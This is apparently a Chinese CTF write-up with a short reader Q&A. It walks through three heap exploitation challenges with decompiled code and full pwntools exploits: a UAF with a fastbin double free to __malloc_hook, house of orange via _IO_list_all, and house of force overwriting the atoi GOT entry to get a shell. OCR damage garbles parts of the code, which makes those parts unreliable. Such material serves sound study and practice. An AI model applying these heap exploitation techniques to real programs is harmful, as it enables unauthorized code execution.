0x01 littlenote

保护全开的堆利用程序, 有add、show、delete功能, delete模块有UAF漏洞。add: 只能申请size为0x71或0x31的堆块

```
1unsigned int64 addnote()
2 {
    __int64 v0; // rbx
 3
     int64 v1; // rbx
4
    char buf; // [rsp+0h] [rbp-20h]
 5
    unsigned __int64 v4; // [rsp+8h] [rbp-18h]
 6
8
    v4 = __readfsqword(0x28u);
    if ( (unsigned __int64)notenum > 0xF )
 9
     puts("FULL");
10
    \vee 0 = notenum;
11
    note[v0] = (const char *)malloc(0x60uLL);
12
    puts("Enter your note");
13
    read(0, (void *)note[notenum], 0x60uLL);
14
    puts("Want to keep your note?");
15
    read(0, &buf, 7uLL);
16
    if ( buf == 78 )
17
18
    {
      puts("OK,I will leave a backup note for you");
19
      free((void *)note[notenum]);
20
21
      v1 = notenum;
      note[v1] = (const char *)malloc(0x20uLL);
22
23
24
    ++notenum;
    puts("Done");
25
    return __readfsqword(0x28u) ^ v4;
26
27 }
```

show: 显示堆块内容

```
IDA View-A ☑ □ Pseudocode-A ☑ □ Hex View-1 ☑ ■ Structures
  1unsigned int64 shownote()
  2 {
  3
      unsigned int v1; // [rsp+4h] [rbp-Ch]
      unsigned int64 v2; // [rsp+8h] [rbp-8h]
  4
  5
     v2 = _readfsqword(0x28u);
  6
     puts("Which note do you want to show?");
     isoc99 scanf("%u", &v1);
     if ( v1 < (unsigned __int64)notenum )</pre>
  9
 10
      {
        if ( note[v1] )
11
          puts(note[v1]);
12
        puts("Done");
13
      }
 14
      else
 15
 16
      {
        puts("Out of bound!");
17
 18
19
      return readfsqword(0x28u) ^ v2;
20 }
delete: 存在UAF
 1unsigned int64 freenote()
 2 {
    unsigned int v1; // [rsp+4h] [rbp-Ch]
 3
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 4
 5
 6
    v2 = readfsqword(0x28u);
 7
    puts("Which note do you want to delete?");
    _isoc99_scanf("%u", &v1);
 8
 9
    if ( v1 < (unsigned __int64)notenum )</pre>
10
11
      if ( note[v1] )
        free((void *)note[v1]);
12
      puts("Done");
13
    }
14
15
    else
16
17
      puts("Out of bound!");
18
19
    return __readfsqword(0x28u) ^ v2;
20 }
攻击思路:
```

1.利用UAF,删除堆块,再读取数据,泄漏heap地址

```
exp:
```

```
from pwn import *
env=os.environ
env['LD_PRELOAD']='./littlenote.so'
context.log_level='debug'
r=process('./littlenote')
def add(cont):
  r.recvuntil('Your choice:')
  r.sendline('1')
  r.recvuntil('note')
  r.send(cont)
  r.recvuntil('?')
   r.sendline('Y')
def add2(cont):
  r.recvuntil('Your choice:')
  r.sendline('1')
  r.recvuntil('note')
  r.send(cont)
  r.recvuntil('?')
   r.sendline('N')
def show(idx):
  r.recvuntil('Your choice:')
  r.sendline('2')
  r.recvuntil('?')
   r.sendline(str(idx))
def delete(idx):
  r.recvuntil('Your choice:')
  r.sendline('3')
  r.recvuntil('?')
  r.sendline(str(idx))
#use UAF to leak heap
add('0'*8)#0
add('1'*8)#1
add('2'*8)#2
add('3'*0x20)#3
add('4'*0x20)#4
delete(1)
delete(2)
show(2)
r.recv(1)
\verb|heap1=u64(r.recvline()[:-1].1just(8,'\x00'))|\\
print hex(heap1)
#fastbin double free, changing size to 0xel and leak libc
delete(1)
add(p64(heap1+0x40))#5
add('6'*0x60)#6
add('7'*0x38+p64(0x7f))#7
add('z'*0x20+p64(0)+p64(0xe1))#8
delete(6)
show(2)
r.recv(1)
leakl=u64(r.recvline()[:-1].ljust(8,'\x00'))
lbase=leakl-0x7fffff7dd1b78+0x7fffff7a0d000
one=lbase+0xf0274
mhk=leakl-0x68
#fastbin double free, changing __malloc_hook to one_shot
add('9'*0x20)#9
add('a'*0x20)#10
delete(9)
delete(10)
delete(9)
add(p64(mhk-0x23))#11
add('c'*0x60)#12
add('d'*0x38+p64(0x7f))#13
add('e'*0x13+p64(one))#14
print hex(leakl)
```

```
print hex(lbase)
print hex(one)
#trigger
delete(3)
delete(3)
#gdb.attach(r)
r.interactive()
```

```
0x02 bookstore
PIE和canary保护没有开启,有addbook、readbook、sellbook功能。
 root@ubuntu:~/Desktop/pwn# checksec bookstore
 [*] '/root/Desktop/pwn/bookstore'
                    amd64-64-little
      RELRO:
                    Full RELRO
      Stack:
      NX:
                    NX enabled
      PIE:
 root@ubuntu:~/Desktop/pwn#
addbook:当readn的size=0时,会触发严重的堆溢出漏洞
1 int add book()
2 {
   size_t size; // [rsp+8h] [rbp-8h]
   for ( HIDWORD(size) = 0; HIDWORD(size) <= 0xF && qword_602080[5 * HIDWORD(size)]; ++HIDWORD(size) )
   if ( HIDWORD(size) == 16 )
    puts("Too many books");
   puts("What is the author name?");
9
10
   readn(40LL * HIDWORD(size) + 6299744, 31LL);
   puts("How long is the book name?");
11
    isoc99_scanf("%u", &size);
   if ( (unsigned int)size > 0x50 )
13
    return puts("Too big!");
   qword_602080[5 * HIDWORD(size)] = malloc((unsigned int)size);
15
16
   puts("What is the name of the book?");
17
   readn(qword_602080[5 * HIDWORD(size)], (unsigned int)size);
18
   return puts("Done!");
19}
readbook:
 1int sellbook()
2 {
     unsigned int v1; // [rsp+Ch] [rbp-4h]
 3
4
 5
     puts("Which book do you want to sell?");
     isoc99 scanf("%u", &v1);
 6
 7
     if ( v1 > 0x10 )
        return puts("Out of bound!");
8
     if (!qword 602080[5 * v1])
9
        return puts("No such book!");
10
     free((void *)qword 602080[5 * v1]);
1
     qword 602080[5 * v1] = 0LL;
L2
     return puts("Done!");
L3
L4|}
sellbook:
```

```
1 int sellbook()
2 {
3
    unsigned int v1; // [rsp+Ch] [rbp-4h]
4
5
    puts("Which book do you want to sell?");
    _isoc99_scanf("%u", &v1);
6
    if (v1 > 0x10)
7
       return puts("Out of bound!");
8
    if (!qword 602080[5 * v1])
9
       return puts("No such book!");
10
    free((void *)qword_602080[5 * v1]);
1
    qword 602080[5 * v1] = 0LL;
L2
    return puts("Done!");
L3
L4 }
readn:当参数a2为0时,遇到'\n'才退出循环,可以写入超长字节,导致堆溢出
            fastcall readn( int64 a1, int a2)
 2 {
 3
     __int64 result; // rax
     unsigned int v3; // eax
 4
 5
     unsigned __int8 buf; // [rsp+1Bh] [rbp-5h]
 6
     unsigned int v5; // [rsp+1Ch] [rbp-4h]
 7
 8
     v5 = 0;
 9
     while (1)
10
       result = (unsigned int)(a2 - 1);
if ( (unsigned int)result <= v5</pre>
11
12
13
          break;
       read(0, &buf, 1uLL);
14
       result = buf;
15
       if ( buf == 10 )
16
17
          break:
18
       v3 = v5++;
       *(BYTE *)(a1 + v3) = buf;
19
20
21
     return result:
22|}
攻击思路:
1.利用溢出漏洞将下一个chunk size改大,再free,使其进入unsorted bin,从而泄露libc地址
2.进行house of orange攻击,即首先做unsortedbin attack,覆盖_IO_list_all,同时伪造old top
chunk位置的size=0x61,使其对应于smallbin[4],再准备好//bin/sh'字符串和新的vtable地址,这样,malloc报错时就能跳转到vtable,在执行系统内部流程的时候执行s
exp:
from pwn import *
env=os.environ
env['LD PRELOAD']='./bookstore.so
context.log_level='debug'
```

r=process('./bookstore')

```
def add(author, size, cont):
         r.recvuntil('Your choice:')
         r.sendline('1')
         r.recvuntil('What is the author name?')
         r.sendline(author)
         r.recvuntil('How long is the book name?')
         r.sendline(str(size))
         r.recvuntil('What is the name of the book?')
         r.sendline(cont)
def delete(idx):
         r.recvuntil('Your choice:')
         r.sendline('2')
         r.recvuntil('?')
         r.sendline(str(idx))
def show(idx):
         r.recvuntil('Your choice:')
         r.sendline('3')
         r.recvuntil('?')
         r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0
add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)
add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x7fffff7dd1c31+0x7fffff7a0d000
sys=1base-0x7fffff7a0d000+0x7fffff7a52390
sh=lbase-0x7fffff7a0d000+0x7fffff7b99d17
iolistall=lbase-0x7fffff7a0d000+0x7fffff7dd2520
strjumps=lbase-0x7fffff7a0d000+0x7fffff7dd07a0
 \texttt{fire} = \texttt{p64(0)} + \texttt{p64(0x61)} + \texttt{p64(0)} + \texttt{p64(iolistall} - \texttt{0x10)} + \texttt{p64(0)} + \texttt{p64(1)} + \texttt{p64(0)} + \texttt{p64(0)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\\x00'*0x10+fire)#4
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()
```

0x03 myhouse

```
**

| '/root/Desktop/pwn/myhouse' |
| Arch: amd64-64-little |
| RELRO: Partial RELRO |
| Stack: Canary found |
| NX: NX enabled |
| PIE: No PIE (0x400000) |
| RELRO: Partial RELRO |
| RELRO: Part
```

1.可以向任意地址写一个字节'\x00'

```
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
8
9
   v5 = readfsqword(0x28u);
   memset(&s, 0, 0x10uLL);
0
   myputs("What's your name?");
1
2
   read(0, &owner, 0x20uLL);
3
   myputs("What is the name of your house?");
4
   housen = malloc(0x100uLL);
5
   read(0, housen, 0x100uLL);
   myputs("What is the size of your house?");
6
7
   read(0, &s, 0xFuLL);
   v0 = atoi(&s);
8
9
   V3 = V0;
0
   size = v0;
1
   if ((unsigned int64)v0 > 0x300000)
2
3
     do
4
     {
5
       myputs("Too large!");
6
       read(0, &s, 0xFuLL);
7
       size = atoi(&s);
8
9
     while ( size > 0x300000 );
0
1
   housed = malloc(size);
2
   myputs("Give me its description:");
3
   read(0, housed, size - 1);
   *((_BYTE *)housed + v3 - 1) = 0;
4
5
   return __readtsqword(0x28u) ^
6}
2.owner和housen字段相连,如果输入末尾没有'\x00',可以泄露堆地址
  v5 = readfsqword(0x28u);
  memset(&s, 0, 0x10uLL);
  myputs("What's your name?");
  read(0, &owner, 0x20uLL);
  myputs("What is the name of your house?");
  housen = malloc(0x100uLL);
  read(0, housen, 0x100uLL);
  myputs("What is the size of your house?");
  read(0, &s, 0xFuLL);
```

```
1 ssize_t __fastcall myputs(const char *a1)
2 {
3    size_t v1; // rax
4
5    v1 = strlen(a1);
6    write(1, a1, v1);
7    return write(1, &unk_400D08, 1ull);
8 }
```

攻击思路:

1.原本考虑向_IO_buf_base写'\x00',从而改写_IO_buf_end,在_IO_2_1_stdin_上做溢出,后来发现该题不满足条件,不能指向_IO_buf_end。于是考虑将main_arena的to of force攻击。首先malloc很大的堆块,例如0x200000,就能开辟mapped段,它与libc段的偏移是固定的,就能向main_arena的top写'\x00' 2.利用house of force把堆块分配到bss段,篡改desc等指针指向atoi函数的GOT表,泄露并篡改GOT表,最终获得shell

exp:

```
from pwn import *
env=os.environ
env['LD_PRELOAD']='./myhouse.so'
context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
  r.recvuntil('Your choice:\n')
   r.sendline('1')
   r.recvuntil('What is the size of your room?')
   r.sendline(str(size))
def editroom(cont):
  r.recvuntil('Your choice:')
   r.sendline('2')
  r.recvuntil('shining!')
   r.send(cont)
def show():
  r.recvuntil('Your choice:')
   r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xfffffffffffffff))
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))
r.recvuntil('Too large!')
r.sendline(str(0x200000))
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)
#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x60)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
```

r.sendline('sh')
r.interactive()

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1. 5 条回复



pic4xiu 2019-10-09 12:03:57

师傅,虽然文章很久了,但还是想咨询一下第二个 so 文件没有 debug symbols ,怎么算函数偏移呢??

0 回复Ta



pwnninja 2019-10-09 21:06:03

@pic**** 本地加载so文件,我这边gdb里面是能print显示函数地址的,x/10gx &_IO_list_all也可以显示其他符号地址

0 回复Ta



pic4xiu 2019-10-10 12:16:20

谢谢师傅解答,但是我这边 symbols 好像全被剥离了(可能下载的 so 不同)

```
Reading symbols from libc_64.so...(no debugging symbols found)...done.
...
pwndbg> x/10gx &_IO_list_all
No symbol "_IO_list_all" in current context.
```

只能通过nm -D libc_64.so等方法找特定函数或字符串,调试本地 so 文件找 heap 偏移,如果本地偏移和远程的不同就没辙了,想问一下师傅遇到这种没有 debug 信息的情况有办法处理吗(还是一般都保留 debug 信息,我是第一次遇到这种不能带所给 so 调试的情况)

0 回复Ta



pwnninja 2019-10-10 20:51:44

@pic**** 我似乎没遇到过这种没有Debug信息的情况。 如果没有Debug,可以从bss段的stdout或stderr指针找到_IO_2_1_stdout_结构体地址吧,然后根据IO链表上下找,就能找到_IO_list_all和虚表的地址吧。

0 回复Ta



pic4xiu 2019-10-10 21:19:32

@pwnninja 恩,太感谢师傅了

0 回复Ta

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